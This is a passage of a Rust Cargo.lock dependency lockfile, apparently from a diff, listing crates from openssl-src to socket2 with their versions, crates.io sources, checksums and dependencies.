+version = "300.2.1+3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fe476c29791a5ca0d1273c697e96085bbabbbea2ef7afd5617e78a4b40332d3" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.97" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3eaad34cdd97d81de97964fc7f29e2d104f483840d906ef56daa1912338460b" +dependencies = [ + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "opentelemetry" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d6c3d7288a106c0a363e4b0e8d308058d56902adefb16f4936f417ffef086e" +dependencies = [ + "opentelemetry_api", + "opentelemetry_sdk", +] + +[[package]] +name = "opentelemetry-otlp" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1c928609d087790fc936a1067bdc310ae702bdf3b090c3f281b713622c8bbde" +dependencies = [ + "async-trait", + "futures", + "futures-util", + "http", + "opentelemetry", + "opentelemetry-proto", + "prost", + "thiserror", + "tokio", + "tonic", +] + +[[package]] +name = "opentelemetry-proto" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d61a2f56df5574508dd86aaca016c917489e589ece4141df1b5e349af8d66c28" +dependencies = [ + "futures", + "futures-util", + "opentelemetry", + "prost", + "tonic", + "tonic-build", +] + +[[package]] +name = "opentelemetry_api" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c24f96e21e7acc813c7a8394ee94978929db2bcc46cf6b5014fc612bf7760c22" +dependencies = [ + "fnv", + "futures-channel", + "futures-util", + "indexmap 1.9.3", + "js-sys", + "once_cell", + "pin-project-lite", + "thiserror", +] + +[[package]] +name = "opentelemetry_sdk" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca41c4933371b61c2a2f214bf16931499af4ec90543604ec828f7a625c09113" +dependencies = [ + "async-trait", + "crossbeam-channel", + "dashmap", + "fnv", + "futures-channel", + "futures-executor", + "futures-util", + "once_cell", + "opentelemetry_api", + "percent-encoding", + "rand 0.8.5", + "thiserror", + "tokio", + "tokio-stream", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "ownedbytes" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e8a72b918ae8198abb3a18c190288123e1d442b6b9a7d709305fd194688b4b7" +dependencies = [ + "stable_deref_trait", +] + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.3.5", + "smallvec", + "windows-targets 0.48.0", +] + +[[package]] +name = "password-hash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" +dependencies = [ + "base64ct", + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "paste" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f746c4065a8fa3fe23974dd82f15431cc8d40779821001404d10d2e79ca7d79" + +[[package]] +name = "pem" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3163d2912b7c3b52d651a055f2c7eec9ba5cd22d26ef75b8dd3a59980b185923" +dependencies = [ + "base64 0.21.5", + "serde", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pest" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae9cee2a55a544be8b89dc6848072af97a20f2422603c10865be2a42b580fff5" +dependencies = [ + "memchr", + "thiserror", + "ucd-trie", +] + +[[package]] +name = "pest_derive" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81d78524685f5ef2a3b3bd1cafbc9fcabb036253d9b1463e726a91cd16e2dfc2" +dependencies = [ + "pest", + "pest_generator", +] + +[[package]] +name = "pest_generator" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68bd1206e71118b5356dae5ddc61c8b11e28b09ef6a31acbd15ea48a28e0c227" +dependencies = [ + "pest", + "pest_meta", + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "pest_meta" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c747191d4ad9e4a4ab9c8798f1e82a39affe7ef9648390b7e5548d18e099de6" +dependencies = [ + "once_cell", + "pest", + "sha2", +] + +[[package]] +name = "petgraph" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dd7d28ee937e54fe3080c91faa1c3a46c06de6252988a7f4592ba2310ef22a4" +dependencies = [ + "fixedbitset", + "indexmap 1.9.3", +] + +[[package]] +name = "pin-project" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" + +[[package]] +name = "portable-atomic" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc59d1bcc64fc5d021d67521f818db868368028108d37f0e98d74e33f68297b5" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "prettyplease" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c8646e95016a7a6c4adea95bafa8a16baab64b583356217f2c85db4a39d9a86" +dependencies = [ + "proc-macro2", + "syn 1.0.109", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" +dependencies = [ + "bytes", + "heck", + "itertools 0.10.5", + "lazy_static", + "log", + "multimap", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn 1.0.109", + "tempfile", + "which", +] + +[[package]] +name = "prost-derive" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5d2d8d10f3c6ded6da8b05b5fb3b8a5082514344d56c9f871412d29b4e075b4" +dependencies = [ + "anyhow", + "itertools 0.10.5", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "prost-types" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "213622a1460818959ac1181aaeb2dc9c7f63df720db7d788b3e24eacd1983e13" +dependencies = [ + "prost", +] + +[[package]] +name = "psm" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5787f7cda34e3033a72192c018bc5883100330f362ef279a8cbccfce8bb4e874" +dependencies = [ + "cc", +] + +[[package]] +name = "quanta" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a17e662a7a8291a865152364c20c7abc5e60486ab2001e8ec10b24862de0b9ab" +dependencies = [ + "crossbeam-utils", + "libc", + "mach2", + "once_cell", + "raw-cpuid", + "wasi 0.11.0+wasi-snapshot-preview1", + "web-sys", + "winapi", +] + +[[package]] +name = "quote" +version = "1.0.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50f3b39ccfb720540debaa0164757101c08ecb8d326b15358ce76a62c7e85965" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "quoted_printable" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79ec282e887b434b68c18fe5c121d38e72a5cf35119b59e54ec5b992ea9c8eb0" + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.11", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-cpuid" +version = "10.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c297679cb867470fa8c9f67dbba74a78d78e3e98d7cf2b08d6d71540f797332" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "rayon" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d" +dependencies = [ + "crossbeam-channel", + "crossbeam-deque", + "crossbeam-utils", + "num_cpus", +] + +[[package]] +name = "redox_syscall" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +dependencies = [ + "getrandom 0.2.11", + "redox_syscall 0.2.16", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "requirements" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2643e903f79d8e6bc310ee0def974d12a33561d14e0728511b6ba5e8be0791c3" +dependencies = [ + "globwalk", + "pest", + "pest_derive", + "regex", + "walkdir", +] + +[[package]] +name = "reqwest" +version = "0.11.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "046cd98826c46c2ac8ddecae268eb5c2e58628688a5fc7a2643704a73faba95b" +dependencies = [ + "base64 0.21.5", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "serde", + "serde_json", + "serde_urlencoded", + "system-configuration", + "tokio", + "tokio-native-tls", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", + "winreg", +] + +[[package]] +name = "ring" +version = "0.17.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb0205304757e5d899b9c2e448b867ffd03ae7f988002e47cd24954391394d0b" +dependencies = [ + "cc", + "getrandom 0.2.11", + "libc", + "spin", + "untrusted", + "windows-sys 0.48.0", +] + +[[package]] +name = "rmp" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44519172358fd6d58656c86ab8e7fbc9e1490c3e8f14d35ed78ca0dd07403c9f" +dependencies = [ + "byteorder", + "num-traits", + "paste", +] + +[[package]] +name = "rmp-serde" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5b13be192e0220b8afb7222aa5813cb62cc269ebb5cac346ca6487681d2913e" +dependencies = [ + "byteorder", + "rmp", + "serde", +] + +[[package]] +name = "rusqlite" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a78046161564f5e7cd9008aff3b2990b3850dc8e0349119b98e8f251e099f24d" +dependencies = [ + "bitflags 2.4.0", + "chrono", + "fallible-iterator", + "fallible-streaming-iterator", + "hashlink", + "libsqlite3-sys", + "smallvec", +] + +[[package]] +name = "rusqlite_migration" +version = "1.1.0-beta.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5767f8cb28e54d1ed745f072b72c6e68bfa6179fabb4cd15bdb8575858e301d" +dependencies = [ + "include_dir", + "log", + "rusqlite", + "tokio", + "tokio-rusqlite", +] + +[[package]] +name = "rust-embed" +version = "6.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b68543d5527e158213414a92832d2aab11a84d2571a5eb021ebe22c43aab066" +dependencies = [ + "rust-embed-impl 6.5.0", + "rust-embed-utils 7.5.0", + "walkdir", +] + +[[package]] +name = "rust-embed" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e7d90385b59f0a6bf3d3b757f3ca4ece2048265d70db20a2016043d4509a40" +dependencies = [ + "rust-embed-impl 8.0.0", + "rust-embed-utils 8.0.0", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "6.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d4e0f0ced47ded9a68374ac145edd65a6c1fa13a96447b873660b2a568a0fd7" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils 7.5.0", + "shellexpand", + "syn 1.0.109", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3d8c6fd84090ae348e63a84336b112b5c3918b3bf0493a581f7bd8ee623c29" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils 8.0.0", + "syn 2.0.32", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "7.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "512b0ab6853f7e14e3c8754acb43d6f748bb9ced66aa5915a6553ac8213f7731" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "8.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "873feff8cb7bf86fdf0a71bb21c95159f4e4a37dd7a4bd1855a940909b583ada" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rust-stemmers" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e46a2036019fdb888131db7a4c847a1063a7493f971ed94ea82c67eada63ca54" +dependencies = [ + "serde", + "serde_derive", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustix" +version = "0.37.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acf8729d8542766f1b2cf77eb034d52f40d375bb8b615d0b147089946e16613d" +dependencies = [ + "bitflags 1.3.2", + "errno", + "io-lifetimes", + "libc", + "linux-raw-sys 0.3.8", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustix" +version = "0.38.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f25469e9ae0f3d0047ca8b93fc56843f38e6774f0914a107ff8b41be8be8e0b7" +dependencies = [ + "bitflags 2.4.0", + "errno", + "libc", + "linux-raw-sys 0.4.10", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f91339c0467de62360649f8d3e185ca8de4224ff281f66000de5eb2a77a79041" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schannel" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "713cfb06c7059f3588fb8044c0fad1d09e3c01d225e25b9220dbfdcf16dbb1b3" +dependencies = [ + "windows-sys 0.42.0", +] + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "scratch" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1792db035ce95be60c3f8853017b3999209281c24e2ba5bc8e59bf97a0c590c1" + +[[package]] +name = "security-framework" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "self_cell" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c309e515543e67811222dbc9e3dd7e1056279b782e1dacffe4242b718734fb6" + +[[package]] +name = "semver" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.171" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30e27d1e4fd7659406c492fd6cfaf2066ba8773de45ca75e855590f856dc34a9" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde-jsonlines" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4684abdec99c1de7e507a3516c82385ff74d54c385973846b079bfd9f5920d35" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "serde-jsonlines" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e228faf5f94badfe42723177b62cfb9b187351994cb4e852cd4a6a4c96dbeea8" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "serde_derive" +version = "1.0.171" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389894603bd18c46fa56231694f8d827779c0951a667087194cf9de94ed24682" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "serde_json" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b420ce6e3d8bd882e9b243c6eed35dbc9a6110c9769e74b584e0d68d1f20c65" +dependencies = [ + "indexmap 2.0.1", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7f05c1d5476066defcdfacce1f52fc3cae3af1d3089727100c02ae92e5abbe0" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_spanned" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93107647184f6027e3b7dcb2e11034cf95ffa1e3a682c67951963ac69c1c007d" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serdeconv" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8897696def1d25e554294b168e0e8e77c860483666eeb8d3d33ae58b06f47221" +dependencies = [ + "rmp-serde", + "serde", + "serde_json", + "toml", + "trackable", +] + +[[package]] +name = "serial_test" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e56dd856803e253c8f298af3f4d7eb0ae5e23a737252cd90bb4f3b435033b2d" +dependencies = [ + "dashmap", + "futures", + "lazy_static", + "log", + "parking_lot", + "serial_test_derive 2.0.0", +] + +[[package]] +name = "serial_test" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "953ad9342b3aaca7cb43c45c097dd008d4907070394bd0751a0aa8817e5a018d" +dependencies = [ + "dashmap", + "futures", + "lazy_static", + "log", + "parking_lot", + "serial_test_derive 3.0.0", +] + +[[package]] +name = "serial_test_derive" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "serial_test_derive" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b93fb4adc70021ac1b47f7d45e8cc4169baaa7ea58483bc5b721d19a26202212" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha256" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7895c8ae88588ccead14ff438b939b0c569cd619116f14b4d13fdff7b8333386" +dependencies = [ + "async-trait", + "bytes", + "hex", + "sha2", + "tokio", +] + +[[package]] +name = "sharded-slab" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shellexpand" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ccc8076840c4da029af4f87e4e8daeb0fca6b87bbb02e10cb60b791450e11e4" +dependencies = [ + "dirs", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "similar" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2aeaf503862c419d66959f5d7ca015337d864e9c49485d771b732e2a20453597" + +[[package]] +name = "simple_asn1" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adc4e5204eb1910f40f9cfa375f6f05b68c3abac4b6fd879c8ff5e7ae8a0a085" +dependencies = [ + "num-bigint", + "num-traits", + "thiserror", + "time", +] + +[[package]] +name = "sketches-ddsketch" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68a406c1882ed7f29cd5e248c9848a80e7cb6ae0fea82346d2746f2f941c07e1" +dependencies = [ + "serde", +] + +[[package]] +name = "slab" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6528351c9bc8ab22353f9d776db39a20288e8d6c37ef8cfe3317cf875eecfc2d" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a507befe795404456341dfab10cef66ead4c041f62b8b11bbb92bffe5d0953e0" + +[[package]] +name = "smartstring" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb72c633efbaa2dd666986505016c32c3044395ceaf881518399d2f4127ee29" +dependencies = [ + "autocfg", + "static_assertions", + "version_check", +] + +[[package]] +name = "socket2" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" +dependencies = [ 